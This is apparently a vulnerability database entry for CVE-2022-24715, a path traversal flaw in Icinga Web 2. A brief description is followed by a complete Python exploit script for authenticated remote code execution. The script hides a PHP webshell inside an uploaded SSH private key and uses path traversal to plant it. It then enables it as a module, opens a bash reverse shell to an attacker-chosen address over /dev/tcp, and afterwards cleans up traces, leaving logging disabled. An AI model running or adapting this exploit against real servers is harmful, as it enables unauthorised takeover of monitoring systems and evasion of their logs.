CVE-2022-24715
a vulnerability was found in icinga web up to 2.8.5/2.9.5/2.9. It has been declared as critical. This vulnerability affects some unknown processing of the component SSH Resource File Handler. The manipulation with an unknown input leads to a path traversal vulnerability. The CWE definition for the vulnerability is CWE-22. The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. As an impact it is known to affect confidentiality, integrity, and availability.
exploit
#!/usr/bin/env python3
# Exploit Title: Icinga Web 2 - Authenticated Remote Code Execution <2.8.6, <2.9.6, <2.10
# Date: 2023-03-20
# Exploit Author: Jacob Ebben
# Vendor Homepage: https://icinga.com/
# Software Link: https://github.com/Icinga/icingaweb2
# Version: <2.8.6, <2.9.6, <2.10
# Tested on: Icinga Web 2 Version 2.9.2 on Linux
# CVE: CVE-2022-24715
# Based on: https://www.sonarsource.com/blog/path-traversal-vulnerabilities-in-icinga-web/
import argparse
import requests
import re
import random
import string
import threading
from os import path
from termcolor import colored
def print_message(message, type):
if type == 'SUCCESS':
print('[' + colored('SUCCESS', 'green') + '] ' + message)
elif type == 'INFO':
print('[' + colored('INFO', 'blue') + '] ' + message)
elif type == 'WARNING':
print('[' + colored('WARNING', 'yellow') + '] ' + message)
elif type == 'ALERT':
print('[' + colored('ALERT', 'yellow') + '] ' + message)
elif type == 'ERROR':
print('[' + colored('ERROR', 'red') + '] ' + message)
def get_normalized_url(url):
if url[-1] != '/':
url += '/'
if url[0:7].lower() != 'http://' and url[0:8].lower() != 'https://':
url = "http://" + url
return url
def get_proxy_protocol(url):
if url[0:8].lower() == 'https://':
return 'https'
return 'http'
def get_random_string(length):
chars = string.ascii_letters + string.digits
return ''.join(random.choice(chars) for i in range(length))
def check_connectivity(session, base_url):
url = base_url + "authentication/login"
result = session.get(url, proxies=proxies)
return result.status_code == 200
def get_csrf(session, url):
result = session.get(url, proxies=proxies)
csrf_regex = r'name="CSRFToken" value="([^"]*)"'
csrf_regex_result = re.search(csrf_regex, result.text)
if csrf_regex_result is not None:
return csrf_regex_result.group(1)
else:
print_message("Could not retrieve a CSRF token from: {url}".format(url=url), "ERROR")
print_message("Are you sure the specified target is an Icinga Web 2 instance?", "INFO")
print_message("It is possible that the Icinga Web 2 version is not supported by this script...", "INFO")
exit()
def login(session, base_url, username, password):
url = base_url + "authentication/login"
csrf_token = get_csrf(session, url)
data = {
"username": username,
"password": password,
"CSRFToken": csrf_token,
"formUID": "form_login",
"btn_submit": "Login"
}
result = session.post(url, data=data, proxies=proxies, allow_redirects=False)
return result.status_code
def read_pem(pem):
with open(pem, "r") as pem_file: return pem_file.read()
def forge_payload_pem(valid_pem, webshell):
return valid_pem + '\x00' + webshell
def upload_payload(session, base_url, payload_name, payload):
url = base_url + "config/createresource"
csrf_token = get_csrf(session, url)
data = {
"type": "ssh",
"name": payload_name,
"user": "../../../../../../../../../../../dev/shm/run.php",
"private_key": payload,
"formUID": "form_config_resource",
"CSRFToken": csrf_token,
"btn_submit": "Save Changes"
}
result = session.post(url, data=data, proxies=proxies)
return result.status_code
def update_application_config(session, base_url, settings):
url = base_url + "config/general"
csrf_token = get_csrf(session, url)
data = {
"global_show_stacktraces": settings["global_show_stacktraces"],
"global_show_application_state_messages": settings["global_show_application_state_messages"],
"global_module_path": settings["global_module_path"],
"global_config_resource": settings["global_config_resource"],
"logging_log": "none",
"themes_default": "Icinga",
"themes_disabled": settings["themes_disabled"],
"authentication_default_domain": settings["authentication_default_domain"],
"formUID": "form_config_general",
"CSRFToken": csrf_token,
"btn_submit": "Save Changes"
}
result = session.post(url, data=data, proxies=proxies)
return result.status_code
def enable_module(session, base_url):
url = base_url + "config/moduleenable"
csrf_token = get_csrf(session, url)
data = {
"identifier": "shm",
"CSRFToken": csrf_token,
"btn_submit": "btn_submit"
}
result = session.post(url, data=data, proxies=proxies)
return result.status_code
def disable_module(session, base_url):
url = base_url + "config/moduledisable"
csrf_token = get_csrf(session, url)
data = {
"identifier": "shm",
"CSRFToken": csrf_token,
"btn_submit": "btn_submit"
}
result = session.post(url, data=data, proxies=proxies)
return result.status_code
def trigger_payload(session, base_url, command):
url = base_url + "dashboard"
data = {
"cmd": command
}
result = session.post(url, data=data, proxies=proxies, timeout=2)
return result.status_code
def check_successful_upload_payload(session, base_url):
url = base_url + "lib/icinga/icinga-php-thirdparty/dev/shm/run.php"
result = session.get(url, proxies=proxies)
return result.status_code == 200
def remove_payload_resource(session, base_url, payload_name):
url = base_url + "config/removeresource?resource=" + payload_name
csrf_token = get_csrf(session, url)
data = {
"CSRFToken": csrf_token,
"formUID": "form_confirm_removal",
"btn_submit": "Confirm Removal"
}
result = session.post(url, data=data, proxies=proxies)
return result.status_code
def remove_payload_file(session, base_url):
command = "rm /dev/shm/run.php"
trigger_payload(session, base_url, command)
def show_config_parsing_error():
print_message("Unable to parse the current configuration for recovery after exploitation!", "ERROR")
print_message("It is possible that this script was not tested on this version of Icinga Web 2", "INFO")
exit()
def parse_config_stacktraces(config_page_content):
stacktraces_regex = r"id=\"form_config_general_application_global_show_stacktraces-\w*\" value=\"1\" checked=\"checked\""
stacktraces_regex_result = re.search(stacktraces_regex, config_page_content)
if stacktraces_regex_result is None:
return 0
else:
return 1
def parse_config_state_messages(config_page_content):
state_messages_regex = r"id=\"form_config_general_application_global_show_application_state_messages-\w*\" value=\"1\" checked=\"checked\""
state_messages_regex_result = re.search(state_messages_regex, config_page_content)
if state_messages_regex_result is None:
return 0
else:
return 1
def parse_config_themes_disabled(config_page_content):
themes_disabled_regex = r"id=\"form_config_general_theming_themes_disabled-\w*\" value=\"1\" checked=\"checked\""
result = re.search(themes_disabled_regex, config_page_content)
if result is None:
return 0
else:
return 1
def parse_config_module_path(config_page_content):
module_path_regex = r'id="form_config_general_application_global_module_path-\w*" value="([^"]*)"'
result = re.search(module_path_regex, config_page_content)
if result is None:
show_config_parsing_error()
else:
return result.group(1)
def parse_config_default_domain(config_page_content):
default_domain_regex = r'id="form_config_general_authentication_authentication_default_domain-\w*" value="([^"]*)"'
result = re.search(default_domain_regex, config_page_content)
if result is None:
show_config_parsing_error()
else:
return result.group(1)
def parse_config_config_resource(config_page_content):
option_regex = r'<option value="([^"]*)" selected="selected">'
option_regex_result = re.search(option_regex, config_page_content)
return option_regex_result.group(1)
def get_config(session, base_url):
url = base_url + "config/general"
config_page_content = session.get(url, proxies=proxies).text
settings = {
"global_show_stacktraces": parse_config_stacktraces(config_page_content),
"global_show_application_state_messages": parse_config_state_messages(config_page_content),
"global_module_path": parse_config_module_path(config_page_content),
"global_config_resource": parse_config_config_resource(config_page_content),
"themes_disabled": parse_config_themes_disabled(config_page_content),
"authentication_default_domain": parse_config_default_domain(config_page_content),
}
return settings
parser = argparse.ArgumentParser(description='Authenticated Remote Code Execution in Icinga Web <2.8.6, <2.9.6, <2.10')
parser.add_argument('-t', '--target', type=str, required=True,
help='Target Icinga location (Example: http://localhost:8080/icinga2/ or https://victim.xyz/icinga/)')
parser.add_argument('-I', '--atk-ip', type=str, required=True,
help='Address for reverse shell listener on attacking machine')
parser.add_argument('-P', '--atk-port', type=str, required=True,
help='Port for reverse shell listener on attacking machine')
parser.add_argument('-u', '--username', type=str, required=True,
help='Username of administrator user on Icinga Web 2')
parser.add_argument('-p','--password', type=str, required=True,
help='Password of administrator user on Icinga Web 2')
parser.add_argument('-e','--pem', type=str, required=True,
help='Location of file on attacking machine containing valid PEM (Generate with "ssh-keygen -m pem" without passphrase)')
parser.add_argument('-x','--proxy', type=str,
help='HTTP proxy address (Example: http://127.0.0.1:8080/)')
args = parser.parse_args()
base_url = get_normalized_url(args.target)
webshell = '<?php system($_REQUEST["cmd"]);?>'
reverse_shell = "bash -c 'exec bash -i &>/dev/tcp/{ip}/{port} <&1'".format(ip=args.atk_ip,port=args.atk_port)
payload_module_name = get_random_string(16)
if args.proxy:
proxy_url = get_normalized_url(args.proxy)
proxy_protocol = get_proxy_protocol(proxy_url)
proxies = { proxy_protocol: proxy_url }
else:
proxies = {}
if not path.exists(args.pem):
print_message("Could not find the specified PEM file!", "ERROR")
exit()
s = requests.Session()
try:
check_connectivity(s, base_url)
except requests.exceptions.RequestException as e:
print_message("Could not connect to the Icinga Web 2 instance!", "ERROR")
print(e)
exit()
try:
print_message("Attempting to login to the Icinga Web 2 instance...", "INFO")
login_result = login(s, base_url, args.username, args.password)
if login_result != 302:
print_message("Unable to login with the provided options!", "ERROR")
exit()
except requests.exceptions.RequestException as e:
print_message("An error occurred while attempting to upload the malicious module!", "ERROR")
print(e)
exit()
try:
valid_pem = read_pem(args.pem)
payload = forge_payload_pem(valid_pem, webshell)
except requests.exceptions.RequestException as e:
print_message("An error occurred while attempting to read the PEM file...", "ERROR")
print(e)
exit()
try:
print_message("Attempting to upload our malicious module...", "INFO")
upload_payload(s, base_url, payload_module_name, payload)
except requests.exceptions.RequestException as e:
print_message("An error occurred while attempting to upload the malicious module!", "ERROR")
print(e)
exit()
if check_successful_upload_payload(s, base_url):
print_message("The payload appears to be uploaded successfully!", "SUCCESS")
else:
print_message("Could not verify if payload was uploaded successfully!", "WARNING")
try:
old_settings = get_config(s, base_url)
print_message("Modifying configurations...", "INFO")
new_settings = dict(old_settings)
new_settings["global_module_path"] = "/dev/"
update_application_config(s, base_url, new_settings)
except requests.exceptions.RequestException as e:
print_message("An error occurred while attempting to modify the configurations!", "ERROR")
print(e)
exit()
try:
print_message("Attempting to enable the malicious module...", "INFO")
enable_module(s, base_url)
except requests.exceptions.RequestException as e:
print_message("An error occurred while attempting to enable the module!", "ERROR")
print(e)
exit()
try:
print_message("Trying to trigger payload! Have a listener ready!", "INFO")
command = reverse_shell
trigger_payload(s, base_url, command)
except requests.exceptions.Timeout:
print_message("It appears that a reverse shell was started!", "SUCCESS")
pass
except requests.exceptions.RequestException as e:
print(e)
exit()
else:
print_message("It appears that the reverse shell was not successful...", "WARNING")
try:
print_message("Removing malicious module file...", "INFO")
remove_payload_file(s, base_url)
remove_payload_resource(s, base_url, payload_module_name)
print_message("Disabling malicious module...", "INFO")
disable_module(s, base_url)
print_message("Resetting website configuration...", "INFO")
update_application_config(s, base_url, old_settings)
except requests.exceptions.RequestException as e:
print_message("An error occurred while cleaning up modified configurations!", "ERROR")
print_message("Manual removal of the exploit remnants is highly recommended!", "ALERT")
print(e)
pass
else:
print_message("Cleanup successful! Shutting down...", "SUCCESS")
print_message("In the process of exploitation, the application logging has been turned off. Log in manually to reset these settings!", "ALERT")
Exploit found online